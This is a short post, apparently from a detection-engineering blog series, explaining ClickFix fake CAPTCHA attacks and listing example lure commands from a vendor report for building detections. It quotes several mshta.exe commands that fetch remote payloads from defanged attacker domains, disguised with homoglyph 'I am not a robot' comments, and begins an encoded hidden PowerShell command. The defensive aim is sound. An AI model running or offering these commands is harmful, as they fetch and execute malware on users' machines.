145. Detecting Fake CAPTCHA Attacks
Hello everyone! I think you at least heard about fake CAPTCHA attacks. Yes, ClickFix again. The thing is - adversaries use fake CAPTCHA pages to trick users into executing malicious commands in Windows. These pages mimic a legitimate human verification prompt and instruct users to paste a malicious command into the Run dialog (Win + R) as part of the “verification” process. This Trend Micro report provides lots of examples of these commands we can use to build detections: mshta.exe hxxps://ernier[.]shop/lyricalsync[.]mp3 # ''Ι am nοt a rοbοt: САРТСНА Verification UID: 885203 mshta.exe hxxps://zb-files[.]oss-ap-southeast-1[.]aliyuncs[.]com/DPST_doc.mp3 # ''Ι am nοt a rοbοt: САРТСНА Verification UID: 815403 mshta.exe hxxp://ok[.]fish-cloud-jar[.]us/ # "Authentication needed: Secure Code 3V8MUR-9PW4S" mshta.exe hxxps://x63-hello[.]live/nF3mXcQ9FVjs1sMt[.]html #'' I'm human ID241619'' cmd /c "powershell -w h -e aQBlAHgAKABpAHcAcgAgAC0AVQ...